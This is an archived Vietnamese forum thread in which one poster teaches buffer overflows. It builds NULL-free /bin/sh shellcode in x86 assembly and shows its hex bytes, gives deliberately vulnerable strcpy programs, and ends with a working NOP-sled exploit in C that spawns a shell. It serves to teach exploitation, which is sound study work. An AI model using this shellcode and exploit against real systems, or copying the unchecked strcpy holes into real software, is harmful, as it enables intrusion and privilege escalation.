PDA

View Full Version : Chuyên đề : Lỗi tràn bộ đệm & Shellcode


pacific_boy571
25-07-2006, 07:39 PM
Ta có thể phối hợp lệnh jmp và lệnh call để truy cập đến địa chỉ của một vùng dữ liệu nào đó mà không biết trước địa chỉ vùng dữ liệu đó. Cấu trúc của phép phối hợp này như sau:

jmp short string
code:
pop eax ; now eax has the address of the string 'nhan sinh ...'
... ; having the address, we are ready to poke around
string:
call code
db 'Nhan sinh tu co thuy vo tu'
Cái mẹo này rất thông minh và đơn giản. Ta bỏ chuỗi cần dùng ‘nhân sinh tự cổ thùy vô tử’ vào ngay sau lệnh call. Cả call lẫn jmp short đều dùng địa chỉ tương tối để jump hoặc gọi hàm, nên không sợ vấn đề “địa chỉ cứng”. Khi call được gọi, hệ điều hành sẽ pushed địa chỉ lệnh nằm ngay sau call lên stack. Trong trường hợp này, stack sẽ chứa địa chỉ đến chuỗi ‘nhân sinh tự cổ thùy vô tử’. Ta chỉ việc pop nó vào thanh ghi nào đó tùy ý (eax chẳng hạn) và cứ thế mà dùng.

Với ý tưởng này, ta viết lại chương trình “Hello, World!” như sau:

global _start ; default entry point for ELF linking

_start:
jmp short string
code:
pop ecx ; ecx points to "Hello, World!"
mov ebx, 1 ; output file descriptor for write
mov edx, 14 ; length of output string
mov eax, 4 ; 4 is the system call number of write()
int 0x80 ; finally, invoke the system call
; prepare for exit(0)
mov ebx, 0 ;
mov eax, 1
int 0x80
string:
call code
db 'Hello, World!', 0x0a
Bạn có thể tự kiểm tra là chương trình chạy như ý muốn. Ý tưởng đã sẵn, ta có thể viết đoạn chương trình assembly để dịch ra bytecode như sau:

; file name: hw.asm
USE32 ; tell nasm we're using a 32-bit system
jmp short string
code:
pop ecx ; ecx has the address of "Hello, World!\n"
mov ebx, 1 ; output file descriptor for write
mov edx, 14 ; length of output string
mov eax, 4 ; 4 is the system call number of write
int 0x80 ; finally, invoke the system call
mov ebx, 0 ; and exit cleanly
mov eax, 1
int 0x80
string:
call code
db 'Hello, World!', 0x0a
USE32 (hoặc BITS 32) để báo cho nasm dịch ra mã 32-bit. Giả sử file hw.asm chứa chương trình trên, ta dịch nó ra mã máy bằng
nasm hw.asm
Bây giờ ta đã có file hw chứa mã của đoạn bytecode cần tìm. Làm thế nào để đọc file này ở dạng hex? Có rất nhiều hex editors trên Internet, bạn có thể dùng thử hexedit. Chạy hexedit hw và ta có output như sau:

00000000 EB 1E 59 BB 01 00 00 00 BA 0E 00 00 00 B8 04 00 ..Y.............
00000010 00 00 CD 80 BB 00 00 00 00 B8 01 00 00 00 CD 80 ................
00000020 E8 DD FF FF FF 48 65 6C 6C 6F 2C 20 57 6F 72 6C .....Hello, Worl
00000030 64 21 0A d!.
Đây chính là đoạn bytecode trong ví dụ 3. Nhưng chẳng lẽ cứ mỗi lần muốn thử bytecode mới thì lại phải dùng hexedit, copy từng byte từng byte một vào chuỗi bytecode[] trong ví dụ 3, sau đó dịch và chạy ví dụ 3? Mất thì giờ quá. Tôi viết một chương trình nho nhỏ đặt tên là bct (bytecode tester) với chức năng như sau: gọi “bct hw” và nó sẽ chạy code chứa trong hw cho ta, còn gọi “bct -p hw” thì nó sẽ in ra chuỗi hex trong hw để dùng được trong các chương trình C. Cụ thể, bct làm việc như sau:

[NQH]:~/BO$ cat hw.asm

USE32 ; tell nasm we're using 32-bit system
jmp short string
code:
pop ecx ; write(1, "Hello, World!", 13);
mov ebx, 1 ; output file descriptor for write
mov edx, 14 ; length of output string
mov eax, 4 ; 4 is the system call number of write
int 0x80 ; finally, invoke the system call
mov ebx, 0 ;
mov eax, 1
int 0x80
string:
call code
db 'Hello, World!', 0x0a
[NQH]:~/BO$ nasm hw.asm
[NQH]:~/BO$ bct hw
----------------------
Calling your code ...
----------------------
Hello, World!
[NQH]:~/BO$ bct -p hw
----------------------
Printing your code ...
----------------------

char bytecode[] =
"\xeb\x1e\x59\xbb\x01\x00\x00\x00\xba\x0e\x00\x00\x 00\xb8\x04\x00"
"\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb8\x01\x00\x 00\x00\xcd\x80"
"\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x 57\x6f\x72\x6c"
"\x64\x21\x0a"

pacific_boy571
25-07-2006, 07:41 PM
Ta thử viết một đoạn mã máy để chạy một shell (ở đây ta gọi /bin/sh, bạn thay nó bằng /bin/bash hay /bin/csh, /bin/tcsh, … tùy hỉ). Quá trình tìm tòi cũng như lần trước. Đầu tiên ta viết nó bằng C xem system call được gọi như thế nào:

/*
*----------------------------------------------------------------------
* ex4.c
* 1. Figure out how system calls work in assembly
*----------------------------------------------------------------------
*/
#include <stdio.h>

int main() {
char *name[2];
name[0] = \"/bin/sh\";
name[1] = NULL;
execve(name[0], name, NULL);
}Sau đó ta dùng gdb để đào vào chi tiết hoạt động xem system call execve được gọi ra sao

[NQH] hanoi:~/BO$ make 4
gcc -g -static ex4.c -o ex4
[NQH] hanoi:~/BO$ gdb ex4
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or tribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) as main
Dump of assembler code for function main:
; typical function prologue
0x08048214 <main+0>: push %ebp
0x08048215 <main+1>: mov %esp,%ebp
0x08048217 <main+3>: sub $0x18,%esp
; end of prologue
; next: a very complicated way of computing the new %esp
0x0804821a <main+6>: and $0xfffffff0,%esp
0x0804821d <main+9>: mov $0x0,%eax
0x08048222 <main+14>: sub %eax,%esp
; name[0] points to "/bin/sh"
0x08048224 <main+16>: movl $0x8095e68,0xfffffff8(%ebp)
; name[1] points to NULL
0x0804822b <main+23>: movl $0x0,0xfffffffc(%ebp)
; prepare to call 'execve', push last arg first
0x08048232 <main+30>: movl $0x0,0x8(%esp)
; second arg is moved to %eax
0x0804823a <main+38>: lea 0xfffffff8(%ebp),%eax
; second arg is pushed onto the stack
0x0804823d <main+41>: mov %eax,0x4(%esp)
; third arg is pushed onto the stack
0x08048241 <main+45>: mov 0xfffffff8(%ebp),%eax
0x08048244 <main+48>: mov %eax,(%esp)
; finally 'execve' is called
0x08048247 <main+51>: call 0x804df00 <execve>
0x0804824c <main+56>: leave
0x0804824d <main+57>: ret
End of assembler dump.

; Now, let's figure out exactly what goes on inside 'execve'

(gdb) as execve
Dump of assembler code for function execve:
; save %ebp
0x0804df00 <execve+0>: push %ebp
; %eax now contains 0
0x0804df01 <execve+1>: mov $0x0,%eax
; %ebp now points to current %esp
0x0804df06 <execve+6>: mov %esp,%ebp
; save %ebx, prepare %ebx to be used for computation
0x0804df08 <execve+8>: push %ebx
; test if %eax is actually 0 (sanity check, I guess)
0x0804df09 <execve+9>: test %eax,%eax
; copy name[0] (the address of "/bin/sh" to %ebx)
0x0804df0b <execve+11>: mov 0x8(%ebp),%ebx
; if %eax is 0, continue
0x0804df0e <execve+14>: je 0x804df15 <execve+21>
; else, restart the system call
0x0804df10 <execve+16>: call 0x0
; copy 'name' into %ecx
0x0804df15 <execve+21>: mov 0xc(%ebp),%ecx
; copy address of the NULL pointer into %edx
0x0804df18 <execve+24>: mov 0x10(%ebp),%edx
; %eax now has the system call number for execve (11)
0x0804df1b <execve+27>: mov $0xb,%eax
; change to kernel mode (execve actually executed)
0x0804df20 <execve+32>: int $0x80
; the rest is not important
0x0804df22 <execve+34>: cmp $0xfffff000,%eax
0x0804df27 <execve+39>: mov %eax,%ebx
0x0804df29 <execve+41>: ja 0x804df30 <execve+48>
0x0804df2b <execve+43>: mov %ebx,%eax
0x0804df2d <execve+45>: pop %ebx
0x0804df2e <execve+46>: pop %ebp
0x0804df2f <execve+47>: ret
0x0804df30 <execve+48>: neg %ebx
0x0804df32 <execve+50>: call 0x8048a40 <__errno_location>
0x0804df37 <execve+55>: mov %ebx,(%eax)
0x0804df39 <execve+57>: mov $0xffffffff,%ebx
0x0804df3e <execve+62>: jmp 0x804df2b <execve+43>
End of assembler dump.Đến đây ta biết đích xác cách gọi execve, cứ làm theo các bước sau:

Đặt chuỗi NULL-terminated “/bin/sh” ở một địa chỉ A nào đó
Đặt A và một NULL word (4 bytes) kề nhau ở một địa chỉ B nào đó
Copy 0xb vào thanh ghi %eax
Copy A vào thanh ghi %ebx
Copy B vào thanh ghi %ecx
Copy 0x0 vào thanh ghi %edx
Gọi ngắt 80 (nghĩa là int 0x80) để chuyển sang kernal mode.
Ta hiện thực quan sát trên bằng assembly

;;
;; ex5.asm
;;
section .data ; section declaration

shell_path db "/bin/cshX" ; this is name[0]
name db "00001111" ; char* name[2];

section .text ; section declaration

global _start ; default entry point for ELF linking

_start:

mov eax, 0 ; put 0 into eax
mov ebx, shell_path ; ebx is where name[0] is supposed to go
mov [ebx+8], al ; replace X at the end by 0, now it's null-terminated
mov ecx, name ; ecx is where name is supposed to go
mov [ecx], ebx ; replace 0000 by pointer to path string (shell_path)
mov [ecx+4], eax ; replace 1111 by 0x0
mov edx, 0 ; edx contains NULL too
mov eax, 11 ; 11 is the system call number of execve
int 0x80 ; finally, invoke the system callVà chạy thử

[NQH]:~/BO$ make 5
nasm -f elf ex5.asm
ld shell.o -o ex5
[NQH]:~/BO$ ./ex5
%exit
exitDễ dàng chuyển ví dụ này thành shellcode:

;;
;; ex9.asm - shellcode without using data segment
;;
USE32

jmp short two
one:
pop ebx ; ebx is where name[0] is supposed to go
mov eax, 0 ; put 0 into eax
mov [ebx+7], al ; replace X at the end by 0, now it's null-terminated
lea ecx, [ebx+8] ; ecx is where name is supposed to go
mov [ecx], ebx ; replace nam0 by pointer to the path string
mov [ecx+4], eax ; replace nam1 by 0x00000000 (NULL)
xor edx, edx ; edx contains NULL too
mov eax, 11 ; 11 is the system call number of execve
int 0x80 ; finally, invoke the system call
two:
call one
db '/bin/shXnam0nam1'Và chạy thử dùng utility bct ta đã viết

[NQH] hanoi:~/BO$ make 9
nasm ex9.asm
[NQH] hanoi:~/BO$ bct ex9
----------------------
Calling your code ...
----------------------
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$ Căn bản là thế, còn vài vấn đề rất quan trọng ta phải giải quyết trước khi có thể biến các shellcodes này thành mã máy dùng để exploit các chương trình có buffer overflow bug

pacific_boy571
25-07-2006, 07:42 PM
Giả dụ ta có một chương trình bị tràn bộ đệm (thường được gọi là chương trình có nhược điểm, hay vulnerable code), làm thế nào để “bắt” chương trình này chạy shellcode? Có khá nhiều vấn đề thú vị cần giải quyết. Bốn vấn đề chính là:

Vấn đề NULL-byte: vulnerable code đọc dữ liệu vào buffer của nó mà không kiểm tra kích thước, vì thế bị tràn bộ đệm. Ví dụ như chương trình sau đây
/*
* vuln_lb.c : This is a vulnerable program with a large buffer
*/
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[500];
if (argv[1] != NULL) {
strcpy(buffer, argv[1]);
}
return 0;
}Hàm strcpy sẽ copy cho đến khi nó thấy NULL-byte, đánh dấu hết chuỗi nhập, thì nó dừng. Nhưng nhỡ khi shellcode của ta có NULL-byte trong đó thì sao? Shellcode sẽ bị ngắt đoạn giữa chừng. Cái shellcode chứa mã máy, hoàn toàn có khả năng có NULL-byte trong đó. Vì thế, vấn đề đầu tiên ta phải giải quyết là tìm cách viết shellcode không có byte nào bằng 0.

Để shellcode ở chỗ nào? Trong trường hợp như trên thì buffer bị tràn có 500 bytes, đủ để ta đặt một shellcode nho nhỏ vào. Nhưng có các chương trình mà buffer chỉ có vài bytes, ví dụ như chương trình sau
/*
* vuln_sb.c : This is a vulnerable program with a short buffer
*/
#include <stdio.h>

int main(int argc, char **argv) {
char buffer[5];
if (argv[1] != NULL) {
strcpy(buffer, argv[1]);
}
return 0;
}chỉ có 5 bytes, không đủ để đặt shellcode. Làm thế nào để tận dụng các vulnerable program với buffer nhỏ thế này?
Tránh signature detection. Rất nhiều các Intrusion Detection Systems dò dữ liệu nhập để tìm signature của các shellcodes phổ biến, và báo cáo cho hệ thống biết. Làm thế nào để viết shellcode hiện thực một tác vụ phổ biến (gọi một shell) mà signature của shellcode không bị dò ra?
Stack không execute được (non-executable stack). Nhiều phiên bản mới của các hệ điều hành không cho chạy mã trên stack (ví dụ như OpenBSD và FreeBSD). Với các hệ điều hành này ta không thể đặt shellcode vào buffer bị tràn. Phải tìm chỗ khác (hoặc cách khác) để exploit các chương trình chạy trên các hệ điều hành này.
Lần này ta giải quyết vấn đề dễ nhất: vấn đề NULL-byte. Lần trước ta đã có ví dụ shellcode sau

;;
;; shellcode without using data segment
;;
USE32

jmp short two
one:
pop ebx ; ebx is where name[0] is supposed to go
mov eax, 0 ; put 0 into eax
mov [ebx+7], al ; replace X at the end by 0, now it's null-terminated
lea ecx, [ebx+8] ; ecx is where name is supposed to go
mov [ecx], ebx ; replace nam0 by pointer to the path string
mov [ecx+4], eax ; replace nam1 by 0x00000000 (NULL)
xor edx, edx ; edx contains NULL too
mov eax, 11 ; 11 is the system call number of execve
int 0x80 ; finally, invoke the system call
two:
call one
db '/bin/shXnam0nam1'
Sau khi kiểm tra mã máy (dùng bct), dễ thấy rằng NULL-byte là do lệnh move eax, 0 (4 bytes bằng 0) và mov eax, 11 (3 bytes đầu của 11 bằng 0). Dễ dùng assembly để giải quyết vấn đề này:

;;
;; shellcode without NULL byte
;;
USE32

jmp short two
one:
pop ebx ; ebx is where name[0] is supposed to go
xor eax, eax ; put 0 into eax
mov [ebx+7], al ; replace X at the end by 0, now it's null-terminated
lea ecx, [ebx+8] ; ecx is where name is supposed to go
mov [ecx], ebx ; replace ---- by pointer to the path string
mov [ecx+4], eax ; replace ++++ by 0x00000000 (NULL)
xor edx, edx ; edx contains NULL too
mov al, 11 ; 11 is the system call number of execve
int 0x80 ; finally, invoke the system call
two:
call one
db '/bin/shX----++++'
Bây giờ ta thử lại

[NQH] hanoi:~/BO$ bct -p ex10
----------------------
Printing your code ...
----------------------

char bytecode[] =
"\xeb\x14\x5b\x31\xc0\x88\x43\x07\x8d\x4b\x08\x89\x 19\x89\x41\x04"
"\x31\xd2\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x 62\x69\x6e\x2f"
"\x73\x68\x58\x2d\x2d\x2d\x2d\x2b\x2b\x2b\x2b";

[NQH] hanoi:~/BO$ bct ex10
----------------------
Calling your code ...
----------------------
sh-2.05b$ exit
exit
và thấy rằng shellcode của ta không có byte 0 nào nữa! Chú ý cách dùng thanh ghi 8-bit al (byte cuối của eax) để chép 11 vào eax.

pacific_boy571
25-07-2006, 07:44 PM
Vấn đề đặt ra là: “để shellcode ở chỗ nào”? Chỗ tự nhiên nhất là trên chính buffer đang bị tràn. Tuy nhiên, trước đó ta phải kiểm tra xem hệ thống của ta có cho execute chương trình trên stack không (vì buffer nằm trên stack). Chương trình sau có thể dùng để kiểm tra điều này.

/*
* ---------------------------------------------------------------------------
* Is the stack actually executable?
* - The answer is YES for my operating system
* - May not be YES for newer versions of OpenBSD or FreeBSD
* ---------------------------------------------------------------------------
*/
#include <stdio.h>

// "gotcha!" bytecode
char bytecode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x11\x59\xb3\x 01\xb2\x08\xb0"
"\x04\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\xe8\x ea\xff\xff\xff"
"\x47\x6f\x74\x63\x68\x61\x21\x0a";

int main() {
char buf[500] = "Type some thing";
unsigned long *ptr = (unsigned long *) buf; // a moving pointer
unsigned long buf_addr = (unsigned long) ptr; // address of 'buf' itself

/* overflow buf with return address */
int i; // there's a VERY FUNNY BUG if you define i before buf
for (i=0; i<200; i++) {
*ptr++ = buf_addr;
}

strcpy(buf, bytecode);

return 0;
}Bài tập 4: nếu ta định nghĩa biến i trước biến buf thì điều gì sẽ xảy ra?

Thử chạy ví dụ này:

[NQH] hanoi:~/BO$ make 12
gcc -g ex12.c -o ex12
[NQH] hanoi:~/BO$ ex12
Gotcha!
Nếu bạn thấy “Gotcha!” thì stack của bạn executable. Kế đến, giả sử ta tìm cách khai thác chương trình vuln_lb.c như trong bài trước. Chương trình này có buffer đủ lớn để đặt shellcode vào. Có hai cách cơ bản để khai thác chương trình này. Hôm nay ta dùng cách 1: viết một chương trình khác “gọi” chương trình có lỗi này.

Ý tưởng cơ bản như sau. Giả sử buffer bị tràn nằm ở địa chỉ B. Ta sẽ thiết kế dữ liệu nhập theo dạng sau:

[NNNNNNNNCCCCCCCCCCAAAAAAAA]
B------- |
^ |
| |
------------
Trong đó, dữ liệu nhập có 3 đoạn:

Đoạn đầu chứa một chuỗi các bytes ‘\x90′ - các bytes này là mã máy của lệnh NOP (no operation). Đoạn này như hình trên được ký hiệu bằng một chuỗi các chữ N. Đoạn này được gọi là NOP sled.
Đoạn hai (chuỗi các chữ C) chính là shellcode.
Đoạn cuối dùng để tràn vào địa chỉ trả về của hàm đang chạy của chương trình bị khai thác. Nếu ta biết chính xác địa chỉ B thì quá tốt, ta chỉ cần đặt A bằng B. Nhưng trong thực tế, ta khó có thể biết chính xác buffer của chương trình bị khai thác bắt đầu từ địa chỉ nào, vì thế ta phải “đoán” B. Nếu phán đoán A của ta rơi vào chuỗi NOP thì xong, vì khi đó lệnh NOP sẽ được bỏ qua từng cái một cho đến khi đụng lệnh thực sự của shellcode (chuỗi một đám chữ C).
Thế làm thế nào để đoán cho gần đúng? Ta sẽ lấy stack pointer hiện hành của một chương trình làm mốc, xê dịch nó xuống địa chỉ thấp từng chút một cho đến khi đụng chuỗi NOP sled. Vì stack pointer ta sẽ lấy có rất nhiều khả năng là nằm cao hơn stack pointer của chương trình bị khai thác, do chương trình bị khai thác phải làm nhiều việc, stack của nó sẽ “dài” hơn. Đó là ý tưởng chính của đoạn chương trình sau đây.

#include <stdio.h>

#define NSL 200 // NOP sled's length
#define SIZE 600 // buffer size
#define OFFSET 0 // ESP - OFFSET is an estimation of where code is

char shellcode[] =
"\xeb\x14\x5b\x31\xc0\x88\x43\x07\x8d\x4b\x08\x89\x 19\x89\x41\x04"
"\x31\xd2\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x 62\x69\x6e\x2f"
"\x73\x68\x58\x2d\x2d\x2d\x2d\x2b\x2b\x2b\x2b";

unsigned long get_stack_pointer(void) {
__asm__("movl %esp, %eax"); // %esp is returned
}

int main(int argc, char** argv) {
int i;
char* buf;
unsigned long esp = get_stack_pointer(); // estimating the stack pointer

unsigned long offset = OFFSET;
if (argc == 2) { offset = atoi(argv[1]); }

unsigned long ret = esp - offset;

printf("ESP = 0x%x\n", esp);
printf("OFFSET = 0x%x\n", offset);
printf("RET = 0x%x\n", ret);

buf = (char*) malloc(SIZE);
if (buf == NULL) {
printf("Something's seriously wrong\n");
exit(1);
}

// fill buf with return address
unsigned long *ptr = (unsigned long *) buf;
for (i=0; i<SIZE; i+=4) {
*(ptr++) = ret;
}

// fill the first NSL bytes of buf with NOP sled; the picture is
// [NNNNNNNNNNNNCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAA]
for (i=0; i<NSL; i++) {
buf[i] = '\x90';
}

// shellcode after NOP sled
for (i=NSL; i<strlen(shellcode)+NSL; i++) {
buf[i] = shellcode[i-NSL];
}

buf[SIZE-1] = 0;

// lastly, call the vulnerable program
printf("Executing the exploit code\n");
execl("./vuln_lb", "vuln_lb", buf, 0);

free(buf);
exit(0);
}Chương trình này cho phép ta nhập một offset để xê dịch phán đoán của ta xuống một chút (hoặc “lên” nếu offset là số âm). Với NOP sled dài 200 bytes, phán đoán của ta nhiều khả năng là đúng. Thử ngay:

[NQH] hanoi:~/BO$ make 15
gcc ex15.c -o ex15
[NQH] hanoi:~/BO$ ./ex15
ESP = 0xbffff968
OFFSET = 0x0
RET = 0xbffff968
Executing the exploit code
sh-2.05b$ exit
exitAh hah! Được rồi. Thế nếu ta đoán “xuống” 200 bytes thì sao?

[NQH] hanoi:~/BO$ ./ex15 200
ESP = 0xbffff968
OFFSET = 0xc8
RET = 0xbffff8a0
Executing the exploit code
Segmentation faultKhông được! Phán đoán này đã trỏ địa chỉ trả về ra ngoài đoạn NOP sled, ở đó nhiều khả năng là các bytes rác, vì thế ta có segmentation fault. Còn nếu ta đoán xuống 100 bytes thôi thì vẫn còn nằm trong NOP sled:

[NQH] hanoi:~/BO$ ./ex15 100
ESP = 0xbffff968
OFFSET = 0x64
RET = 0xbffff904
Executing the exploit code
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$ Phương pháp viết một chương trình khác dùng cũng được, nhưng mất thì giờ quá. Phải dịch, chạy, sửa, dịch lại, vân vân. Có cách khác dễ dàng hơn và nhanh hơn nhiều!